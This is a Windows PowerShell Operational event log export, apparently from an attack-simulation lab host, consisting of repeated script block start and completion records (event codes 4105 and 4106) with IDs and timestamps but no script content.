Message=Started invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052353
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052352
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052351
Keywords=None
Message=Completed invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052350
Keywords=None
Message=Started invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052349
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052348
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052347
Keywords=None
Message=Completed invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052346
Keywords=None
Message=Started invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052345
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052344
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052343
Keywords=None
Message=Completed invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052342
Keywords=None
Message=Started invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052341
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052340
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052339
Keywords=None
Message=Completed invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052338
Keywords=None
Message=Started invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052337
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052336
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052335
Keywords=None
Message=Completed invocation of ScriptBlock ID: 268e22bf-bf2c-4355-ab8a-c92a26317c43
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052334
Keywords=None
Message=Started invocation of ScriptBlock ID: 268e22bf-bf2c-4355-ab8a-c92a26317c43
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052333
Keywords=None
Message=Completed invocation of ScriptBlock ID: 268e22bf-bf2c-4355-ab8a-c92a26317c43
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052332
Keywords=None
Message=Started invocation of ScriptBlock ID: 268e22bf-bf2c-4355-ab8a-c92a26317c43
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052331
Keywords=None
Message=Completed invocation of ScriptBlock ID: 268e22bf-bf2c-4355-ab8a-c92a26317c43
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052330
Keywords=None
Message=Started invocation of ScriptBlock ID: 268e22bf-bf2c-4355-ab8a-c92a26317c43
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052329
Keywords=None
Message=Completed invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052328
Keywords=None
Message=Started invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052327
Keywords=None
Message=Completed invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052326
Keywords=None
Message=Started invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052325
Keywords=None
Message=Completed invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052324
Keywords=None
Message=Started invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052323
Keywords=None
Message=Completed invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052322
Keywords=None
Message=Started invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052321
Keywords=None
Message=Completed invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052320
Keywords=None
Message=Started invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052319
Keywords=None
Message=Completed invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052318
Keywords=None
Message=Started invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052317
Keywords=None
Message=Completed invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052316
Keywords=None
Message=Started invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052315
Keywords=None
Message=Completed invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052314
Keywords=None
Message=Started invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052313
Keywords=None
Message=Completed invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052312
Keywords=None
Message=Started invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052311
Keywords=None
Message=Completed invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052310
Keywords=None
Message=Started invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052309
Keywords=None
Message=Completed invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052308
Keywords=None
Message=Started invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052307
Keywords=None
Message=Completed invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052306
Keywords=None
Message=Started invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052305
Keywords=None
Message=Completed invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052304
Keywords=None
Message=Started invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052303
Keywords=None
Message=Completed invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052302
Keywords=None
Message=Started invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052301
Keywords=None
Message=Completed invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
